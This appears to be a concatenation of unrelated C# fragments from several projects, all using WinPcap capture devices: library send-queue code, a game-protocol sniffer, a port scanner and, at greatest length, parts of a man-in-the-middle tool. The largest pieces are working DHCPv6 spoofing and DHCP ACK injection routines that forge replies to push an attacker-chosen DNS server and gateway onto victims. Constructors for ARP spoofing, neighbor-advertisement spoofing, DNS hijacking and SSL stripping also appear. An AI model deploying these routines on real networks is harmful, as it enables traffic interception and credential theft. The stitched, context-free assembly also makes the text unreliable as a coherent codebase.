// start listening on a device (combobox index)
public void StartDevice(int deviceIndex)
{
Started = true;
DeviceInfo = DeviceInfoList[deviceIndex];
Device = WinPcapDeviceList.Instance[deviceIndex];
Sniffer = new Sniffer(DeviceInfo);
ARPTools = new ARPTools(DeviceInfo);
NDTools = new NDTools(DeviceInfo);
SSLStrip = new SSLStrip();
Scanner = new Scanner(DeviceInfo);
Sniffer.SnifferResult += new SnifferResultHandler(sniffer_OnSnifferResult);
Scanner.ScannerResponse += new ScannerResponseReceived(scanner_OnResponse);
Scanner.ScanComplete += new ScannerEventHandler(scanner_OnScanComplete);
Scanner.HostnameResolved += new ScannerHostnameResolvedHandler(scanner_HostnameResolved);
SSLStrip.SSLStripped += new SSLStripHandler(SSLStrip_OnSSLStripped);
// open device, set filters & events, start capturing
Device.Open(DeviceMode.Promiscuous, 1);
Device.Filter = "(arp || ip || ip6)";
Device.OnPacketArrival += new PacketArrivalEventHandler(device_OnPacketArrival);
Device.StartCapture();
}
public SlaacMITM(WinPcapDevice device, IList<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
invalidMac = PhysicalAddress.Parse("00-00-00-00-00-00");
}
public void Run(WinPcapDevice device)
{
comm = device;
device.Open(OpenFlags.Promiscuous, 1, null);
comm.Filter = ("arp");
comm.NonBlockingMode = true;
lDev.Text = device.Description;
}
public Router(WinPcapDevice dev, SynchronizedCollection<Data.Attack> attacks, SynchronizedCollection<string> slaacReqs)
{
this.device = dev;
this.localPhysicalAddress = device.MacAddress;
this.attacks = attacks;
//this.slaacReqs = slaacReqs;
this.dnsHijacking = new DNSHijacking(dev, attacks);
}
private void btnSelect_Click(object sender, EventArgs e)
{
if (cmdAdapters.SelectedItem != null)
{
Device = _devices[cmdAdapters.SelectedIndex];
DialogResult = DialogResult.OK;
Close();
}
}
/// <summary>
/// Creates and allocates a new SendQueue
/// </summary>
/// <param name="memSize">
/// The maximun amount of memory (in bytes)
/// to allocate for the queue</param>
public SendQueue(int memSize)
{
// ensure that we are running under winpcap
WinPcapDevice.ThrowIfNotWinPcap();
m_queue = WinPcap.SafeNativeMethods.pcap_sendqueue_alloc(memSize);
if (m_queue == IntPtr.Zero)
{
throw new PcapException("Error creating PcapSendQueue");
}
}
private ushort _srcPort; // we can use this for sending so it goes back to the GunZ2 socket.
#endregion Fields
#region Constructors
public SharkStream(WinPcapDevice device)
{
_commands = new List<Command>();
_device = device;
var reader = new StreamReader("proto.json");
var jss = new JavaScriptSerializer();
_commands = jss.Deserialize<List<Command>>(reader.ReadToEnd());
Console.WriteLine("Loaded: {0} commands.", _commands.Count);
}
public PasiveScan(WinPcapDevice device, SynchronizedCollection<Data.Attack> attacks, IList<Data.Neighbor> neighbors, SynchronizedCollection<string> slaacReqs)
{
this.device = device;
this.localPhysicalAddress = device.MacAddress;
this.attacks = attacks;
this.neighbors = neighbors;
this.route = new Router(device, attacks, slaacReqs);
this.pasivePortScan = new PasivePortScanner(neighbors);
/* Ataques pasivos */
this.DHCPACKInjection = new DHCPACKInjection(device, attacks);
this.DHCPIpv6 = new DHCPIpv6(device, attacks);
}
/// <summary>
/// Send a queue of raw packets to the network.
/// </summary>
/// <param name="device">
/// The device on which to send the queue
/// A <see cref="PcapDevice"/>
/// </param>
/// <param name="transmitMode">
/// A <see cref="SendQueueTransmitModes"/>
/// </param>
/// <returns>
/// A <see cref="System.Int32"/>
/// </returns>
public int Transmit(WinPcapDevice device, SendQueueTransmitModes transmitMode)
{
if (!device.Opened)
{
throw new DeviceNotReadyException("Can't transmit queue, the pcap device is closed");
}
if (m_queue == IntPtr.Zero)
{
throw new PcapException("Can't transmit queue, this queue is disposed");
}
int sync = (transmitMode == SendQueueTransmitModes.Synchronized) ? 1 : 0;
return(WinPcap.SafeNativeMethods.pcap_sendqueue_transmit(device.PcapHandle, m_queue, sync));
}
private void cbDevices_SelectedIndexChanged(object sender, EventArgs e)
{
if (_selectedDevice != null)
{
_selectedDevice.OnPacketArrival -= SelectedDevice_OnPacketArrival;
_selectedDevice.StopCapture();
_selectedDevice.Close();
}
_selectedDevice = ((DeviceWrapper)cbDevices.SelectedItem).Device;
_selectedDevice.OnPacketArrival += SelectedDevice_OnPacketArrival;
_selectedDevice.Open(DeviceMode.Normal);
_selectedDevice.Filter = "net not 10.0.0.0/8 and net not 172.16.0.0/12 and net not 192.168.0.0/24";
_selectedDevice.StartCapture();
_packetCount = 0;
lblTrackingCount.Text = "0";
}
private static bool IsInteresting(WinPcapDevice device)
{
return true;
}
public NASpoofing(WinPcapDevice device, SynchronizedCollection<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
this.selectedDevice = this.devices[this.comboBox1.SelectedIndex];
this.propertyGrid1.SelectedObject = this.selectedDevice;
}
public void SetDevice(WinPcapDevice device)
{
this.device = device;
}
public IPAddress GetIPv4FromDevice(WinPcapDevice device)
{
foreach (PcapAddress address in ((WinPcapDevice)device).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork))
{
return address.Addr.ipAddress;
}
return null;
}
private void btAccept_Click(object sender, EventArgs e)
{
this.DialogResult = System.Windows.Forms.DialogResult.OK;
this.device = (WinPcapDevice)dgvInterfaces.SelectedRows[0].Tag;
this.Close();
SaveSettingsInterface();
}
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p)
{
if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket))
return;
UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket;
if (udp.ParentPacket == null)
return;
if (!(udp.ParentPacket is IPv6Packet))
return;
if (attacks.Where(A => A.attackType == AttackType.DHCPIpv6).Count() == 0)
return;
DhcpIPv6 attack = (DhcpIPv6)attacks.Where(A => A.attackType == AttackType.DHCPIpv6).First();
IPv6Packet packetIpLayer = (IPv6Packet)udp.ParentPacket;
EthernetPacket ethernet = (EthernetPacket)p;
/*
Info: http://en.wikipedia.org/wiki/DHCPv6
Example
In this example, the server's link-local address is fe80::0011:22ff:fe33:5566/64 and the client's link-local address is fe80::aabb:ccff:fedd:eeff/64.
DHCPv6 client sends a Solicit from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547.
DHCPv6 server replies with an Advertise from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546.
DHCPv6 client replies with a Request from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. (All client messages are sent to the multicast address, per section 13 of RFC 3315.)
DHCPv6 server finishes with a Reply from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546.
*/
DHCPv6Packet pa = new DHCPv6Packet();
pa.ParsePacket(udp.PayloadData);
if (packetIpLayer.DestinationAddress.Equals(IPAddress.Parse("ff02::1:2")))
{
EthernetPacket newPEthernet = new EthernetPacket(device.Interface.MacAddress,
ethernet.SourceHwAddress,
EthernetPacketType.IpV6);
UdpPacket newUDP = null;
IPAddress ipv6LocalLink = null;
IPv6Packet newIpv6 = null;
switch (pa.MessageType)
{
case DHCPv6Type.Solicit:
if (pa.Options.ContainsKey(DHCPv6OptionCode.ClientIdentifier) && pa.Options.ContainsKey(DHCPv6OptionCode.IANA))
{
newUDP = new UdpPacket(547, 546);
byte[] iaid = pa.Options[DHCPv6OptionCode.IANA].Value;
pa.MessageType = DHCPv6Type.Advertise;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.IANA);
pa.AddServerIdentifierOption(device.MacAddress);
pa.AddIANAOption(IPAddress.Parse(string.Format("{0}:{1}", attack.fakeIPRange.ToString().Substring(0, attack.fakeIPRange.ToString().LastIndexOf(':')), IpID)), iaid);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
IpID++;
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
}
break;
case DHCPv6Type.Request:
newUDP = new UdpPacket(547, 546);
pa.MessageType = DHCPv6Type.Reply;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.DNS);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
break;
case DHCPv6Type.InformationRequest:
newUDP = new UdpPacket(547, 546);
pa.MessageType = DHCPv6Type.Reply;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.IANA);
pa.AddServerIdentifierOption(device.MacAddress);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
break;
default:
break;
}
}
}
public ARPSpoofing(WinPcapDevice device, IPAddress ipV4Local, SynchronizedCollection<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
this.ipLocal = ipV4Local;
}
public DeviceWrapper(WinPcapDevice device)
{
Device = device;
}
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p)
{
if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket))
return;
UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket;
if (udp.ParentPacket == null)
return;
if (!(udp.ParentPacket is IPv4Packet))
return;
IPv4Packet packetIpLayer = (IPv4Packet)udp.ParentPacket;
if (udp.PayloadData.Length < sizeof(DHCP.bootp))
return;
DHCP.bootp* dhcp = (DHCP.bootp*)Marshal.UnsafeAddrOfPinnedArrayElement(udp.PayloadData, 0).ToPointer();
DHCP.RequestedIP optionRequestedIP = new DHCP.RequestedIP();
bool existsOptionRequestedIP = false;
DHCP.ServerID optionServerID = new DHCP.ServerID();
bool existsOptionServerID = false;
string Strname = string.Empty;
ushort bp_vend_len = (ushort)(udp.Length - Marshal.SizeOf(*dhcp) + 4);
uint pos = 4;
while (pos < bp_vend_len)
{
byte option = dhcp->bp_vend[pos];
if (option == 0xff)
{
break;
}
byte len = dhcp->bp_vend[pos + 1];
switch (option)
{
case DHCP.TAG_DHCP_MESSAGE:
{
DHCP.MessageType* mtype = (DHCP.MessageType*)(dhcp->bp_vend + pos);
//We save the real DHCP IP
if (mtype->type == DHCP.DHCPACK && packetIpLayer.SourceAddress.Address != 0)
DHCPIP = packetIpLayer.SourceAddress;
//We get the DHCP Server MAC
if (mtype->type == DHCP.DHCPOFFER)
DHCPMAC = (p as EthernetPacket).SourceHwAddress;
//We only continue if it's a DHCP Request
if (mtype->type != DHCP.DHCPREQUEST)
return;
break;
}
case DHCP.TAG_REQUESTED_IP:
{
optionRequestedIP.id = ((DHCP.RequestedIP*)(dhcp->bp_vend + pos))->id;
existsOptionRequestedIP = true;
break;
}
case DHCP.TAG_SERVER_ID:
{
optionServerID.id = ((DHCP.ServerID*)(dhcp->bp_vend + pos))->id;
DHCPIP = new IPAddress(optionServerID.id);
existsOptionServerID = true;
break;
}
case DHCP.TAG_HOSTNAME:
{
byte* chr = (((DHCP.Hostname*)(dhcp->bp_vend + pos))->name);
byte lenght = ((DHCP.Hostname*)(dhcp->bp_vend + pos))->optionHeader.lenght;
for (int i = 0; i < lenght; i++)
Strname += (char)chr[i];
break;
}
}
pos += (uint)len + 2; //The option and the length field
}
bool realizarataque = false;
string dns = string.Empty;
string gateway = string.Empty;
string MAC;
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DHCPACKInjection && A.attackStatus == Data.AttackStatus.Attacking))
{
dns = (attack as DHCPACKInjectionAttack).dns;
gateway = (attack as DHCPACKInjectionAttack).gateway;
MAC = (attack as DHCPACKInjectionAttack).MAC;
//If filter does not apply not continue
if (!string.IsNullOrEmpty(MAC) && !(p.PayloadPacket as EthernetPacket).SourceHwAddress.Equals(PhysicalAddress.Parse(MAC)))
realizarataque = false;
else
{
realizarataque = true;
break;
}
}
if (!realizarataque)
return;
//Configuration used in the attack
PhysicalAddress MACUsed;
if (Program.CurrentProject.data.settings.UseRealDHCPData)
{
if (DHCPMAC != null)
MACUsed = DHCPMAC;
else //If the real dhcp server mac is not found we use the computer network device mac
MACUsed = device.Interface.MacAddress;
}
else
{
MACUsed = PhysicalAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerMAC);
}
IPAddress IPUsed;
if (Program.CurrentProject.data.settings.UseRealDHCPData)
{
if (existsOptionServerID)
IPUsed = new IPAddress(optionServerID.id);
else
{
if (DHCPIP.Address == 0)
{
Program.LogThis("DHCP IP Address unknown, using 0.0.0.0 as IP source", Logs.Log.LogType.DHCPACKInjection);
IPUsed = IPAddress.Parse("0.0.0.0");
}
else
{
IPUsed = DHCPIP;
}
}
}
else
{
IPUsed = IPAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerIP);
}
//Now we create a fake response
EthernetPacket response = new EthernetPacket(MACUsed, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), EthernetPacketType.IpV4);
response.PayloadPacket = new IPv4Packet(IPUsed, new System.Net.IPAddress(0xffffffff));
//We want to follow the IP communication
(response.PayloadPacket as IPv4Packet).Id = packetIpLayer.Id;
response.PayloadPacket.PayloadPacket = new UdpPacket(67, 68);
response.PayloadPacket.PayloadPacket.PayloadData = new byte[16];
response.PayloadPacket.PayloadPacket.PayloadData = new byte[sizeof(DHCP.bootp) + sizeof(DHCP.optionsResponse)];
dhcp->bp_op = DHCP.BOOTPREPLY;
if (existsOptionRequestedIP)
dhcp->bp_yiaddr = optionRequestedIP.id;
else if (dhcp->bp_ciaddr != 0)
dhcp->bp_yiaddr = dhcp->bp_ciaddr;
else
{
return;
}
dhcp->bp_flags = 0;
Marshal.Copy(new IntPtr(dhcp), response.PayloadPacket.PayloadPacket.PayloadData, 0, sizeof(DHCP.bootp));
//We need to fill the optionResponseStatic fields
if (existsOptionServerID)
optionResponseStatic.serverID.id = optionServerID.id;
optionResponseStatic.serverID.id = (uint)IPUsed.Address;
optionResponseStatic.route.ip = (uint)IPAddress.Parse(gateway).Address;
optionResponseStatic.domainNameServer.ip = (uint)IPAddress.Parse(dns).Address;
fixed (DHCP.optionsResponse* op = &optionResponseStatic)
{
Marshal.Copy(new IntPtr(op), response.PayloadPacket.PayloadPacket.PayloadData, sizeof(DHCP.bootp), sizeof(DHCP.optionsResponse));
}
response.UpdateCalculatedValues();
(response.PayloadPacket as IPv4Packet).UpdateCalculatedValues();
(response.PayloadPacket as IPv4Packet).UpdateIPChecksum();
(response.PayloadPacket.PayloadPacket as UdpPacket).UpdateCalculatedValues();
(response.PayloadPacket.PayloadPacket as UdpPacket).UpdateUDPChecksum();
device.SendPacket(response);
string message = string.Format("DHCP ACK sent to a {0} DHCP Request", new IPAddress(dhcp->bp_yiaddr).ToString());
Program.LogThis(message, Logs.Log.LogType.DHCPACKInjection);
}
public DHCPACKInjection(WinPcapDevice device, SynchronizedCollection<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
}
public Scanner(DeviceInfo deviceInfo)
{
device = deviceInfo.Device;
this.deviceInfo = deviceInfo;
}
private string GetDeviceString(WinPcapDevice dev, int index)
{
return string.Format("({0}) {1} ## {2} ", index, dev.Interface.FriendlyName , dev.Interface.Description);
}
public DHCPIpv6(WinPcapDevice device, IList<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
}
public DNSHijacking(WinPcapDevice dev, SynchronizedCollection<Data.Attack> attacks)
{
this.Device = dev;
this.attacks = attacks;
}
/// <summary>
/// Send a queue of raw packets to the network.
/// </summary>
/// <param name="device">
/// The device on which to send the queue
/// A <see cref="PcapDevice"/>
/// </param>
/// <param name="transmitMode">
/// A <see cref="SendQueueTransmitModes"/>
/// </param>
/// <returns>
/// A <see cref="int"/>
/// </returns>
public int Transmit(WinPcapDevice device, SendQueueTransmitModes transmitMode)
{
return(Transmit(device, transmitMode == SendQueueTransmitModes.Synchronized));
}
private TcpSynPortScanner(string hostName)
{
timeout = 5000;
localIp = NetworkUtils.GetLocalHostIP();
localPort = (ushort)new Random().Next(20000, 50000);
device = NetworkUtils.GetActiveDevice(localIp);
localMacAddress = device.Interface.MacAddress;
destinationIp = NetworkUtils.ResolveHostName(hostName);
var tryCount = 8;
while (--tryCount > 0)
{
destinationMacAddress = NetworkUtils.GetMacAddress(destinationIp);
if (!Equals(destinationMacAddress, new PhysicalAddress(new byte[] { 0, 0, 0, 0, 0, 0 })))
break;
Thread.Sleep(500 / tryCount);
}
if (destinationMacAddress == null)
throw new Exception("Destination MAC can't be null");
device.Open(DeviceMode.Promiscuous, 100);
ConfigureWinPcapDevice();
}
public IPAddress GetIPv6LocalLinkFromDevice(WinPcapDevice device)
{
if (device == null)
return null;
foreach (PcapAddress address in ((WinPcapDevice)device).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6))
{
if (address.Addr.ipAddress.IsIPv6LinkLocal)
return address.Addr.ipAddress;
}
return null;
}
private void btExit_Click(object sender, EventArgs e)
{
this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.device = null;
this.Close();
}
public Sockaddr GetNetmaskFromIP(WinPcapDevice device, IPAddress ipAddress)
{
foreach (PcapAddress address in device.Addresses.Where(A => A.Addr.ipAddress.Equals(ipAddress)))
{
return address.Netmask;
}
return null;
}
private void scan_transfer_speed(String devicename, String ipadd)
{
CaptureDeviceList devices = CaptureDeviceList.New();
foreach (WinPcapDevice d in devices)
{
if (d.Interface.FriendlyName == devicename)
{
_device = d;
break;
}
}
if (_device != null)
{
_device.OnPcapStatistics += new StatisticsModeEventHandler(update_statistics);
_device.Open(DeviceMode.Promiscuous, 1000);
_device.Filter = "(tcp or udp) and host " + ipadd;
_device.Mode = CaptureMode.Statistics;
_device.StartCapture();
}
}
public ARPTools(DeviceInfo deviceInfo)
{
device = deviceInfo.Device;
this.deviceInfo = deviceInfo;
}
/// <summary>
/// Send a queue of raw packets to the network.
/// </summary>
/// <param name="device">
/// The device on which to send the queue
/// A <see cref="PcapDevice"/>
/// </param>
/// <param name="transmitMode">
/// A <see cref="SendQueueTransmitModes"/>
/// </param>
/// <returns>
/// A <see cref="System.Int32"/>
/// </returns>
public int Transmit( WinPcapDevice device, SendQueueTransmitModes transmitMode)
{
if(!device.Opened)
throw new DeviceNotReadyException("Can't transmit queue, the pcap device is closed");
if(m_queue==IntPtr.Zero)
{
throw new PcapException("Can't transmit queue, this queue is disposed");
}
int sync = (transmitMode == SendQueueTransmitModes.Synchronized) ? 1 : 0;
return WinPcap.SafeNativeMethods.pcap_sendqueue_transmit(device.PcapHandle, m_queue, sync);
}